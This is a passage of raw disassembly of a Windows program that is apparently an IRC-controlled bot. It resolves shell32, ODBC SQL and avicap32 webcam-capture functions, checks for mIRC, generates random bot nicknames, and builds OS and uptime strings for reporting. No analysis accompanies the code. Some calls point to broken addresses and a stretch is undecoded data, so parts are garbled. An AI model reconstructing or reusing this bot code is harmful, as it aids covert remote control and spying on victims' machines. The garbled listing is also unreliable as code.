loc_40A475 cmp eax, ebx jnz short loc_40A47F jmp short loc_40A475 ; --------------------------------------------------------------------------- loc_40A46A: ; CODE XREF: sub_4098FD+B19j call near ptr 2680DCDh nop mov dword_4C9418, eax loc_40A475: ; CODE XREF: sub_4098FD+B55j ; sub_4098FD+B5Dj ... mov dword_4C9414, 1 loc_40A47F: ; CODE XREF: sub_4098FD+B69j push offset aShell32_dll ; "shell32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A4B4 push offset aShellexecutea ; "ShellExecuteA" push edi call esi push offset aShchangenotify ; "SHChangeNotify" push edi mov dword_4C9270, eax call esi cmp dword_4C9270, ebx mov dword_4C9378, eax jz short loc_40A4BF cmp eax, ebx jnz short loc_40A4C9 jmp short loc_40A4BF ; --------------------------------------------------------------------------- loc_40A4B4: ; CODE XREF: sub_4098FD+B8Dj nop call near ptr 2680DCDh mov dword_4C9420, eax loc_40A4BF: ; CODE XREF: sub_4098FD+BAFj ; sub_4098FD+BB5j mov dword_4C941C, 1 loc_40A4C9: ; CODE XREF: sub_4098FD+BB3j push offset aOdbc32_dll ; "odbc32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A552 push offset aSqldriverconne ; "SQLDriverConnect" push edi call esi push offset aSqlsetenvattr ; "SQLSetEnvAttr" push edi mov dword_4C9340, eax call esi push offset aSqlexecdirect ; "SQLExecDirect" push edi mov dword_4C938C, eax call esi push offset aSqlallochandle ; "SQLAllocHandle" push edi mov dword_4C92C8, eax call esi push offset aSqlfreehandle ; "SQLFreeHandle" push edi mov dword_4C9280, eax call esi push offset aSqldisconnect ; "SQLDisconnect" push edi mov dword_4C9320, eax call esi cmp dword_4C9340, ebx mov dword_4C9290, eax jz short loc_40A55D cmp dword_4C938C, ebx jz short loc_40A55D cmp dword_4C92C8, ebx jz short loc_40A55D cmp dword_4C9280, ebx jz short loc_40A55D cmp dword_4C9320, ebx jz short loc_40A55D cmp eax, ebx jnz short loc_40A567 jmp short loc_40A55D ; --------------------------------------------------------------------------- loc_40A552: ; CODE XREF: sub_4098FD+BD7j nop call near ptr 2680DCDh mov dword_4C9428, eax loc_40A55D: ; CODE XREF: sub_4098FD+C2Dj ; sub_4098FD+C35j ... mov dword_4C9424, 1 loc_40A567: ; CODE XREF: sub_4098FD+C51j push offset aAvicap32_dll ; "avicap32.dll" call ebp mov edi, eax cmp edi, ebx jz short loc_40A59C push offset aCapcreatecaptu ; "capCreateCaptureWindowA" push edi call esi push offset aCapgetdriverde ; "capGetDriverDescriptionA" push edi mov dword_4C9254, eax call esi cmp dword_4C9254, ebx mov dword_4C9334, eax jz short loc_40A5A7 cmp eax, ebx jnz short loc_40A5B1 jmp short loc_40A5A7 ; --------------------------------------------------------------------------- loc_40A59C: ; CODE XREF: sub_4098FD+C75j nop call near ptr 2680DCDh mov dword_4C9430, eax loc_40A5A7: ; CODE XREF: sub_4098FD+C97j ; sub_4098FD+C9Dj mov dword_4C942C, 1 loc_40A5B1: ; CODE XREF: sub_4098FD+C9Bj push 1 pop eax pop edi pop esi pop ebp pop ebx retn sub_4098FD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A5B9 proc near ; CODE XREF: sub_401AC7+24FBp var_200 = byte ptr -200h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+arg_4] push esi xor esi, esi cmp dword_4C93C4, esi push edi mov edi, [ebp+arg_8] jz short loc_40A601 push dword_4C93C8 lea eax, [ebp+var_200] push offset aKernel32_dllFa ; "Kernel32.dll failed. <%d>" push eax call sub_41C006 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409862 add esp, 20h loc_40A601: ; CODE XREF: sub_40A5B9+1Aj cmp dword_4C93CC, esi jz short loc_40A635 push dword_4C93D0 lea eax, [ebp+var_200] push offset aUser32_dllFail ; "User32.dll failed. <%d>" push eax call sub_41C006 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409862 add esp, 20h loc_40A635: ; CODE XREF: sub_40A5B9+4Ej cmp dword_4C93D4, esi jz short loc_40A669 push dword_4C93D8 lea eax, [ebp+var_200] push offset aAdvapi32_dllFa ; "Advapi32.dll failed. <%d>" push eax call sub_41C006 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409862 add esp, 20h loc_40A669: ; CODE XREF: sub_40A5B9+82j cmp dword_4C93DC, esi jz short loc_40A69D push dword_4C93E0 lea eax, [ebp+var_200] push offset aGdi32_dllFaile ; "Gdi32.dll failed. <%d>" push eax call sub_41C006 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409862 add esp, 20h loc_40A69D: ; CODE XREF: sub_40A5B9+B6j cmp dword_4C93E4, esi jz short loc_40A6D1 push dword_4C93E8 lea eax, [ebp+var_200] push offset aWs2_32_dllFail ; "Ws2_32.dll failed. <%d>" push eax call sub_41C006 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409862 add esp, 20h loc_40A6D1: ; CODE XREF: sub_40A5B9+EAj cmp dword_4C93EC, esi jz short loc_40A705 push dword_4C93F0 lea eax, [ebp+var_200] push offset aWininet_dllFai ; "Wininet.dll failed. <%d>" push eax call sub_41C006 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409862 add esp, 20h loc_40A705: ; CODE XREF: sub_40A5B9+11Ej cmp dword_4C93F4, esi jz short loc_40A739 push dword_4C93F8 lea eax, [ebp+var_200] push offset aIcmp_dllFailed ; "Icmp.dll failed. <%d>" push eax call sub_41C006 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409862 add esp, 20h loc_40A739: ; CODE XREF: sub_40A5B9+152j cmp dword_4C93FC, esi jz short loc_40A76D push dword_4C9400 lea eax, [ebp+var_200] push offset aNetapi32_dllFa ; "Netapi32.dll failed. <%d>" push eax call sub_41C006 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409862 add esp, 20h loc_40A76D: ; CODE XREF: sub_40A5B9+186j cmp dword_4C9404, esi jz short loc_40A7A1 push dword_4C9408 lea eax, [ebp+var_200] push offset aDnsapi_dllFail ; "Dnsapi.dll failed. <%d>" push eax call sub_41C006 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409862 add esp, 20h loc_40A7A1: ; CODE XREF: sub_40A5B9+1BAj cmp dword_4C940C, esi jz short loc_40A7D5 push dword_4C9410 lea eax, [ebp+var_200] push offset aIphlpapi_dllFa ; "Iphlpapi.dll failed. <%d>" push eax call sub_41C006 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409862 add esp, 20h loc_40A7D5: ; CODE XREF: sub_40A5B9+1EEj cmp dword_4C9414, esi jz short loc_40A809 push dword_4C9418 lea eax, [ebp+var_200] push offset aMpr32_dllFaile ; "Mpr32.dll failed. <%d>" push eax call sub_41C006 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409862 add esp, 20h loc_40A809: ; CODE XREF: sub_40A5B9+222j cmp dword_4C941C, esi jz short loc_40A83D push dword_4C9420 lea eax, [ebp+var_200] push offset aShell32_dllFai ; "Shell32.dll failed. <%d>" push eax call sub_41C006 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409862 add esp, 20h loc_40A83D: ; CODE XREF: sub_40A5B9+256j cmp dword_4C9424, esi jz short loc_40A871 push dword_4C9428 lea eax, [ebp+var_200] push offset aOdbc32_dllFail ; "Odbc32.dll failed. <%d>" push eax call sub_41C006 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409862 add esp, 20h loc_40A871: ; CODE XREF: sub_40A5B9+28Aj cmp dword_4C942C, esi jz short loc_40A8A5 push dword_4C9430 lea eax, [ebp+var_200] push offset aAvicap32_dllFa ; "Avicap32.dll failed. <%d>" push eax call sub_41C006 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409862 add esp, 20h loc_40A8A5: ; CODE XREF: sub_40A5B9+2BEj lea eax, [ebp+var_200] push offset unk_42D6D0 push eax call sub_41C006 cmp [ebp+arg_C], esi pop ecx pop ecx jnz short loc_40A8D2 push esi lea eax, [ebp+var_200] push edi push eax push ebx push [ebp+arg_0] call sub_409862 add esp, 14h loc_40A8D2: ; CODE XREF: sub_40A5B9+302j lea eax, [ebp+var_200] push eax call sub_415CEE pop ecx pop edi pop esi pop ebx leave retn sub_40A5B9 endp ; =============== S U B R O U T I N E ======================================= sub_40A8E4 proc near ; CODE XREF: sub_4017E7+4Fp ; sub_401AC7+5C0Fp ... arg_0 = dword ptr 4 push [esp+arg_0] call dword_4C9344 cmp eax, 0FFFFFFFFh jnz short locret_40A90C push [esp+arg_0] call dword_4C9388 test eax, eax jnz short loc_40A905 or eax, 0FFFFFFFFh retn ; --------------------------------------------------------------------------- loc_40A905: ; CODE XREF: sub_40A8E4+1Bj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] locret_40A90C: ; CODE XREF: sub_40A8E4+Dj retn sub_40A8E4 endp ; =============== S U B R O U T I N E ======================================= sub_40A90D proc near ; CODE XREF: sub_4017E7+D6p mov ecx, dword_4C9220 xor eax, eax test ecx, ecx jz short locret_40A91B call ecx locret_40A91B: ; CODE XREF: sub_40A90D+Aj retn sub_40A90D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A91C proc near ; CODE XREF: sub_401AC7:loc_403EE7p var_88 = byte ptr -88h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 88h push ebx push esi push edi push 1 pop ebx lea eax, [ebp+var_8] xor edi, edi push ebx push eax push edi xor esi, esi mov [ebp+var_8], edi mov [ebp+var_4], ebx call dword_4C9380 mov ecx, eax sub ecx, edi jz loc_40A9E2 sub ecx, 32h jz loc_40A9DB sub ecx, 48h jz short loc_40A97C sub ecx, 6Eh jz short loc_40A975 loc_40A95E: ; CODE XREF: sub_40A91C+8Bj push eax lea eax, [ebp+var_88] push offset unk_42D8E4 push eax call sub_41C006 add esp, 0Ch jmp short loc_40A9BC ; --------------------------------------------------------------------------- loc_40A975: ; CODE XREF: sub_40A91C+40j push offset unk_42D8C0 jmp short loc_40A9AE ; --------------------------------------------------------------------------- loc_40A97C: ; CODE XREF: sub_40A91C+3Bj push [ebp+var_8] call sub_41BC9B push [ebp+var_8] mov esi, eax push edi push esi call sub_41BD10 add esp, 10h cmp esi, edi jz short loc_40A9A9 lea eax, [ebp+var_8] push ebx push eax push esi call dword_4C9380 cmp eax, edi jz short loc_40A9E2 jmp short loc_40A95E ; --------------------------------------------------------------------------- loc_40A9A9: ; CODE XREF: sub_40A91C+79j push offset unk_42D890 loc_40A9AE: ; CODE XREF: sub_40A91C+5Ej ; sub_40A91C+C4j lea eax, [ebp+var_88] push eax call sub_41C006 pop ecx pop ecx loc_40A9BC: ; CODE XREF: sub_40A91C+57j lea eax, [ebp+var_88] mov [ebp+var_4], edi push eax call sub_415CEE pop ecx loc_40A9CC: ; CODE XREF: sub_40A91C+C8j ; sub_40A91C+DCj push esi call sub_41BA31 mov eax, [ebp+var_4] pop ecx pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_40A9DB: ; CODE XREF: sub_40A91C+32j push offset unk_42D860 jmp short loc_40A9AE ; --------------------------------------------------------------------------- loc_40A9E2: ; CODE XREF: sub_40A91C+29j ; sub_40A91C+89j cmp [esi], edi jbe short loc_40A9CC lea ebx, [esi+4] loc_40A9E9: ; CODE XREF: sub_40A91C+DAj push ebx call dword_4C937C inc edi add ebx, 18h cmp edi, [esi] jb short loc_40A9E9 jmp short loc_40A9CC sub_40A91C endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40A9FA proc near ; CODE XREF: sub_401AC7+21DAp ; sub_401AC7+2328p ... var_14 = byte ptr -14h var_10 = byte ptr -10h var_F = byte ptr -0Fh var_E = byte ptr -0Eh var_D = byte ptr -0Dh var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 14h push esi push 10h pop eax mov [ebp+var_4], eax push eax lea eax, [ebp+var_14] push 0 push eax call sub_41BD10 add esp, 0Ch lea eax, [ebp+var_4] push eax lea eax, [ebp+var_14] push eax push [ebp+arg_0] call dword_4C92A8 movzx eax, [ebp+var_D] push eax mov esi, offset dword_4C9434 movzx eax, [ebp+var_E] push eax movzx eax, [ebp+var_F] push eax movzx eax, [ebp+var_10] push eax push offset aD_D_D_D ; "%d.%d.%d.%d" push esi call sub_41C006 add esp, 18h mov eax, esi pop esi leave retn sub_40A9FA endp ; =============== S U B R O U T I N E ======================================= sub_40AA53 proc near ; CODE XREF: sub_41364F+24Cp ; sub_41364F+292p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, [esp+4+arg_4] xor eax, eax cmp esi, 1 jle short loc_40AA7C mov ecx, esi push edi shr ecx, 1 mov edx, ecx neg edx lea esi, [esi+edx*2] mov edx, [esp+8+arg_0] loc_40AA6F: ; CODE XREF: sub_40AA53+24j movzx edi, word ptr [edx] add eax, edi inc edx inc edx dec ecx jnz short loc_40AA6F pop edi jmp short loc_40AA80 ; --------------------------------------------------------------------------- loc_40AA7C: ; CODE XREF: sub_40AA53+Aj mov edx, [esp+4+arg_0] loc_40AA80: ; CODE XREF: sub_40AA53+27j test esi, esi pop esi jz short loc_40AA8A movzx ecx, byte ptr [edx] add eax, ecx loc_40AA8A: ; CODE XREF: sub_40AA53+30j mov ecx, eax and eax, 0FFFFh shr ecx, 10h add ecx, eax mov eax, ecx shr eax, 10h add eax, ecx not eax retn sub_40AA53 endp ; =============== S U B R O U T I N E ======================================= sub_40AAA0 proc near ; CODE XREF: sub_40AE77+49p ; DATA XREF: ___:off_42D930o arg_0 = dword ptr 4 push esi push edi call near ptr 26A0729h nop push eax call sub_41C058 call sub_41C062 xor edx, edx mov ecx, 48Fh div ecx mov edi, [esp+0Ch+arg_0] push off_42D9AC[edx*4] push offset aS_1 ; "%s" push 1Ch push edi call sub_41C100 xor esi, esi add esp, 14h cmp dword_429094, esi jle short loc_40AB07 loc_40AAE1: ; CODE XREF: sub_40AAA0+65j call sub_41C062 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B8A0 push 1Ch push edi call sub_41C100 add esp, 14h inc esi cmp esi, dword_429094 jl short loc_40AAE1 loc_40AB07: ; CODE XREF: sub_40AAA0+3Fj mov eax, edi pop edi pop esi retn sub_40AAA0 endp ; --------------------------------------------------------------------------- dd 0E8905756h, 2295C15h, 153EE850h, 7C8B0001h, 4C71024h dd 42913824h, 0CCC06800h, 1C6A0042h, 15CEE857h, 0F6330001h dd 3910C483h, 42909435h, 0E8267E00h, 1151Eh, 59990A6Ah dd 5752F9F7h, 42B8A068h, 571C6A00h, 115A7E8h, 14C48300h dd 94353B46h, 7C004290h, 5FC78BDAh ; --------------------------------------------------------------------------- pop esi retn ; =============== S U B R O U T I N E ======================================= sub_40AB6A proc near ; CODE XREF: sub_401AC7+6922p arg_0 = dword ptr 4 push ebx push esi push edi call near ptr 26A0729h nop push eax call sub_41C058 pop ecx call sub_41C062 push 3 mov ebx, [esp+10h+arg_0] cdq pop ecx xor edi, edi idiv ecx mov esi, edx add esi, dword_429094 test esi, esi jle short loc_40ABAD loc_40AB97: ; CODE XREF: sub_40AB6A+41j call sub_41C062 push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [edi+ebx], dl inc edi cmp edi, esi jl short loc_40AB97 loc_40ABAD: ; CODE XREF: sub_40AB6A+2Bj and byte ptr [edi+ebx], 0 pop edi mov eax, ebx pop esi pop ebx retn sub_40AB6A endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp push ecx push ecx and dword ptr [ebp-4], 0 push esi push edi mov dword ptr [ebp-8], 100h call near ptr 26A0729h nop push eax call sub_41C058 pop ecx lea eax, [ebp-8] mov esi, offset byte_431604 push eax push esi call near ptr 26D0000h nop movsx eax, byte_431604 push 41h pop ecx push 1 pop edx loc_40ABF3: ; CODE XREF: ___:0040ABFEj cmp eax, ecx jnz short loc_40ABFA mov [ebp-4], edx loc_40ABFA: ; CODE XREF: ___:0040ABF5j inc ecx cmp ecx, 5Bh jl short loc_40ABF3 push 61h pop ecx loc_40AC03: ; CODE XREF: ___:0040AC0Ej cmp eax, ecx jnz short loc_40AC0A mov [ebp-4], edx loc_40AC0A: ; CODE XREF: ___:0040AC05j inc ecx cmp ecx, 7Bh jl short loc_40AC03 mov edi, [ebp+8] push esi push 1Ch push edi call sub_41C100 xor esi, esi add esp, 0Ch cmp dword_429094, esi jle short loc_40AC4F loc_40AC29: ; CODE XREF: ___:0040AC4Dj call sub_41C062 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B8A0 push 1Ch push edi call sub_41C100 add esp, 14h inc esi cmp esi, dword_429094 jl short loc_40AC29 loc_40AC4F: ; CODE XREF: ___:0040AC27j mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0Ch push esi push edi nop call near ptr 26A0729h push eax call sub_41C058 pop ecx lea eax, [ebp-0Ch] push 0Ah push eax push 7 push 800h nop call near ptr 26E0000h mov edi, [ebp+8] lea eax, [ebp-0Ch] push eax push offset dword_431608 push 1Ch push edi call sub_41C100 xor esi, esi add esp, 10h cmp dword_429094, esi jle short loc_40ACC4 loc_40AC9E: ; CODE XREF: ___:0040ACC2j call sub_41C062 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B8A0 push 1Ch push edi call sub_41C100 add esp, 14h inc esi cmp esi, dword_429094 jl short loc_40AC9E loc_40ACC4: ; CODE XREF: ___:0040AC9Cj mov eax, edi pop edi pop esi leave retn ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 94h push esi lea eax, [ebp-94h] push edi push eax mov esi, offset byte_43B4B8 mov dword ptr [ebp-94h], 94h nop call near ptr 26E0636h nop call near ptr 26A0729h push eax call sub_41C058 cmp dword ptr [ebp-90h], 4 pop ecx jnz short loc_40AD4E cmp dword ptr [ebp-8Ch], 0 jnz short loc_40AD2E cmp dword ptr [ebp-84h], 1 jnz short loc_40AD1E mov esi, offset dword_431630 loc_40AD1E: ; CODE XREF: ___:0040AD17j cmp dword ptr [ebp-84h], 2 jnz short loc_40AD8A mov esi, offset dword_43162C jmp short loc_40AD8A ; --------------------------------------------------------------------------- loc_40AD2E: ; CODE XREF: ___:0040AD0Ej cmp dword ptr [ebp-8Ch], 0Ah jnz short loc_40AD3E mov esi, offset dword_431628 jmp short loc_40AD8A ; --------------------------------------------------------------------------- loc_40AD3E: ; CODE XREF: ___:0040AD35j cmp dword ptr [ebp-8Ch], 5Ah jnz short loc_40AD85 mov esi, offset dword_431624 jmp short loc_40AD8A ; --------------------------------------------------------------------------- loc_40AD4E: ; CODE XREF: ___:0040AD05j cmp dword ptr [ebp-90h], 5 jnz short loc_40AD85 cmp dword ptr [ebp-8Ch], 0 jnz short loc_40AD67 mov esi, offset dword_431620 jmp short loc_40AD8A ; --------------------------------------------------------------------------- loc_40AD67: ; CODE XREF: ___:0040AD5Ej cmp dword ptr [ebp-8Ch], 1 jnz short loc_40AD77 mov esi, offset dword_43161C jmp short loc_40AD8A ; --------------------------------------------------------------------------- loc_40AD77: ; CODE XREF: ___:0040AD6Ej cmp dword ptr [ebp-8Ch], 2 mov esi, offset dword_431618 jz short loc_40AD8A loc_40AD85: ; CODE XREF: ___:0040AD45j ; ___:0040AD55j mov esi, offset dword_431614 loc_40AD8A: ; CODE XREF: ___:0040AD25j ; ___:0040AD2Cj ... mov edi, [ebp+8] push esi push offset dword_43160C push 1Ch push edi call sub_41C100 xor esi, esi add esp, 10h cmp dword_429094, esi jle short loc_40ADCE loc_40ADA8: ; CODE XREF: ___:0040ADCCj call sub_41C062 push 0Ah cdq pop ecx idiv ecx push edx push edi push offset dword_42B8A0 push 1Ch push edi call sub_41C100 add esp, 14h inc esi cmp esi, dword_429094 jl short loc_40ADA8 loc_40ADCE: ; CODE XREF: ___:0040ADA6j mov eax, edi pop edi pop esi leave retn ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40ADD4 proc near ; CODE XREF: sub_40AE77+5Cp var_1C = byte ptr -1Ch arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 1Ch push esi call near ptr 26A0729h nop xor edx, edx mov ecx, 5265C00h div ecx push 0 push offset aMirc_0 ; "mIRC" mov esi, eax cmp esi, 64h jbe short loc_40AE23 call dword_4C9310 test eax, eax mov eax, offset dword_43163C jnz short loc_40AE0C mov eax, offset byte_43B4B8 loc_40AE0C: ; CODE XREF: sub_40ADD4+31j push eax push esi push offset dword_431634 lea eax, [ebp+var_1C] push 1Ch push eax call sub_41C100 add esp, 14h jmp short loc_40AE43 ; --------------------------------------------------------------------------- loc_40AE23: ; CODE XREF: sub_40ADD4+22j call dword_4C9310 test eax, eax mov eax, offset dword_43163C jnz short loc_40AE37 mov eax, offset byte_43B4B8 loc_40AE37: ; CODE XREF: sub_40ADD4+5Cj push eax lea eax, [ebp+var_1C] push eax call sub_41C006 pop ecx pop ecx loc_40AE43: ; CODE XREF: sub_40ADD4+4Dj lea eax, [ebp+var_1C] push eax call sub_41B960 pop ecx cmp eax, 2 pop esi jbe short loc_40AE72 push 1Ch lea eax, [ebp+var_1C] push [ebp+arg_0] push eax call sub_41C950 lea eax, [ebp+var_1C] push 1Ch push eax push [ebp+arg_0] call sub_41BD70 add esp, 18h loc_40AE72: ; CODE XREF: sub_40ADD4+7Dj mov eax, [ebp+arg_0] leave retn sub_40ADD4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40AE77 proc near ; CODE XREF: sub_4017E7+7Fp ; sub_40194F+50p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push esi push edi xor edi, edi mov esi, offset dword_42D92C loc_40AE83: ; CODE XREF: sub_40AE77+3Fj cmp [ebp+arg_C], 0 jz short loc_40AE9E lea eax, [esi-0Ch] push eax push [ebp+arg_C] call sub_41C7E0 neg eax pop ecx sbb eax, eax pop ecx inc eax jmp short loc_40AEA8 ; --------------------------------------------------------------------------- loc_40AE9E: ; CODE XREF: sub_40AE77+10j mov ecx, [esi] xor eax, eax cmp ecx, [ebp+arg_4] setz al loc_40AEA8: ; CODE XREF: sub_40AE77+25j test eax, eax jnz short loc_40AEBA add esi, 14h inc edi cmp esi, offset off_42D9B8 jl short loc_40AE83 jmp short loc_40AEC8 ; --------------------------------------------------------------------------- loc_40AEBA: ; CODE XREF: sub_40AE77+33j push [ebp+arg_0] lea eax, [edi+edi*4] call off_42D930[eax*4] pop ecx loc_40AEC8: ; CODE XREF: sub_40AE77+41j cmp [ebp+arg_8], 0 pop edi pop esi jz short loc_40AEDB push [ebp+arg_0] call sub_40ADD4 pop ecx pop ebp retn ; --------------------------------------------------------------------------- loc_40AEDB: ; CODE XREF: sub_40AE77+57j mov eax, [ebp+arg_0] pop ebp retn sub_40AE77 endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 0B8h push ebx push esi lea eax, [ebp-0B8h] push edi push eax mov edi, offset byte_43B4B8 mov dword ptr [ebp-0B8h], 94h nop call near ptr 26E0636h cmp dword ptr [ebp-0B4h], 4 push 0Ah pop ebx jnz short loc_40AF5A cmp dword ptr [ebp-0B0h], 0 jnz short loc_40AF3B cmp dword ptr [ebp-0A8h], 1 jnz short loc_40AF2B mov edi, offset dword_431630 loc_40AF2B: ; CODE XREF: ___:0040AF24j cmp dword ptr [ebp-0A8h], 2 jnz short loc_40AF96 mov edi, offset dword_43162C jmp short loc_40AF96 ; --------------------------------------------------------------------------- loc_40AF3B: ; CODE XREF: ___:0040AF1Bj cmp [ebp-0B0h], ebx jnz short loc_40AF4A mov edi, offset dword_431628 jmp short loc_40AF96 ; --------------------------------------------------------------------------- loc_40AF4A: ; CODE XREF: ___:0040AF41j cmp dword ptr [ebp-0B0h], 5Ah jnz short loc_40AF91 mov edi, offset dword_431624 jmp short loc_40AF96 ; --------------------------------------------------------------------------- loc_40AF5A: ; CODE XREF: ___:0040AF12j cmp dword ptr [ebp-0B4h], 5 jnz short loc_40AF91 cmp dword ptr [ebp-0B0h], 0 jnz short loc_40AF73 mov edi, offset dword_431620 jmp short loc_40AF96 ; --------------------------------------------------------------------------- loc_40AF73: ; CODE XREF: ___:0040AF6Aj cmp dword ptr [ebp-0B0h], 1 jnz short loc_40AF83 mov edi, offset dword_43161C jmp short loc_40AF96 ; --------------------------------------------------------------------------- loc_40AF83: ; CODE XREF: ___:0040AF7Aj cmp dword ptr [ebp-0B0h], 2 mov edi, offset dword_431694 jz short loc_40AF96 loc_40AF91: ; CODE XREF: ___:0040AF51j ; ___:0040AF61j mov edi, offset dword_431690 loc_40AF96: ; CODE XREF: ___:0040AF32j ; ___:0040AF39j ... lea eax, [ebp-0A4h] push offset word_4C91BC push eax call sub_41C7E0 pop ecx test eax, eax pop ecx jnz short loc_40AFB4 mov esi, offset dword_43168C jmp short loc_40B02F ; --------------------------------------------------------------------------- loc_40AFB4: ; CODE XREF: ___:0040AFABj lea eax, [ebp-0A4h] push offset a1 ; "1" push eax call sub_41C080 pop ecx test eax, eax pop ecx jz short loc_40AFD2 mov esi, offset sub_431688 jmp short loc_40B02F ; --------------------------------------------------------------------------- loc_40AFD2: ; CODE XREF: ___:0040AFC9j lea eax, [ebp-0A4h] push offset dword_431684 push eax call sub_41C080 pop ecx test eax, eax pop ecx jz short loc_40AFF0 mov esi, offset dword_431680 jmp short loc_40B02F ; --------------------------------------------------------------------------- loc_40AFF0: ; CODE XREF: ___:0040AFE7j lea eax, [ebp-0A4h] push offset dword_43167C push eax call sub_41C080 pop ecx test eax, eax pop ecx jz short loc_40B00E mov esi, offset dword_431678 jmp short loc_40B02F ; --------------------------------------------------------------------------- loc_40B00E: ; CODE XREF: ___:0040B005j lea eax, [ebp-0A4h] push offset dword_431674 push eax call sub_41C080 pop ecx mov esi, offset dword_431670 test eax, eax pop ecx jnz short loc_40B02F mov esi, offset off_43166C loc_40B02F: ; CODE XREF: ___:0040AFB2j ; ___:0040AFD0j ... lea eax, [ebp-0Ch] or dword ptr [ebp-4], 0FFFFFFFFh push eax or dword ptr [ebp-8], 0FFFFFFFFh or dword ptr [ebp-0Ch], 0FFFFFFFFh lea eax, [ebp-8] push eax lea eax, [ebp-4] push eax push offset aDdDhDm ; "%dd %dh %dm" push 0 call sub_41AD74 pop ecx push eax call sub_41CA73 mov eax, [ebp-4] add esp, 14h cmp eax, ebx jge short loc_40B079 push eax push offset a0D ; "0%d" lea eax, [ebp-18h] push ebx push eax call sub_41C100 add esp, 10h jmp short loc_40B09D ; --------------------------------------------------------------------------- loc_40B079: ; CODE XREF: ___:0040B062j cmp eax, 64h jge short loc_40B08B lea ecx, [ebp-18h] push ebx push ecx push eax call sub_426642 jmp short loc_40B09A ; --------------------------------------------------------------------------- loc_40B08B: ; CODE XREF: ___:0040B07Cj push offset a99 ; "99" lea eax, [ebp-18h] push ebx push eax call sub_41C100 loc_40B09A: ; CODE XREF: ___:0040B089j add esp, 0Ch loc_40B09D: ; CODE XREF: ___:0040B077j nop call near ptr 26A0729h push eax call sub_41C058 pop ecx lea eax, [ebp-24h] push ebx push eax push 7 push 800h nop call near ptr 26E0000h lea eax, [ebp-18h] push eax push esi lea eax, [ebp-24h] push edi mov edi, [ebp+8] push eax push offset aSSSS ; "%s|%s|%s|%s|" push 1Ch push edi call sub_41C100 xor esi, esi add esp, 1Ch cmp dword_429094, esi jle short loc_40B108 loc_40B0E3: ; CODE XREF: ___:0040B106j call sub_41C062 cdq mov ecx, ebx idiv ecx push edx push edi push offset dword_42B8A0 push 1Ch push edi call sub_41C100 add esp, 14h inc esi cmp esi, dword_429094 jl short loc_40B0E3 loc_40B108: ; CODE XREF: ___:0040B0E1j mov eax, edi pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= sub_40B10F proc near ; CODE XREF: sub_40B12F+Ap ; sub_40B207+8p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi push [esp+4+arg_0] call sub_41B960 push [esp+8+arg_4] mov esi, eax call sub_41B960 pop ecx lea eax, [esi+eax*2+0C1h] pop ecx pop esi retn sub_40B10F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40B12F proc near ; CODE XREF: sub_40B21E+49p var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp push ecx push [ebp+arg_C] push [ebp+arg_8] call sub_40B10F cmp eax, [ebp+arg_4] pop ecx pop ecx mov [ebp+var_4], eax jbe short loc_40B14C xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_40B14C: ; CODE XREF: sub_40B12F+17j push ebx push esi push edi push [ebp+arg_8] call sub_41B960 push [ebp+arg_C] mov esi, eax call sub_41B960 mov edi, eax mov ebx, [ebp+arg_0] push 0FFFFFFEDh lea eax, [edi+esi+12h] mov dword_43172C, eax lea eax, [edi+1] mov dword_43174D, eax lea eax, [edi+17h] mov dword_431745, eax pop eax push 74h sub eax, edi push offset dword_4316C8 push ebx mov dword_43175B, eax call sub_41CAB0 push esi lea eax, [ebx+74h] push [ebp+arg_8] push eax call sub_41CAB0 add esi, 74h push 5 push (offset 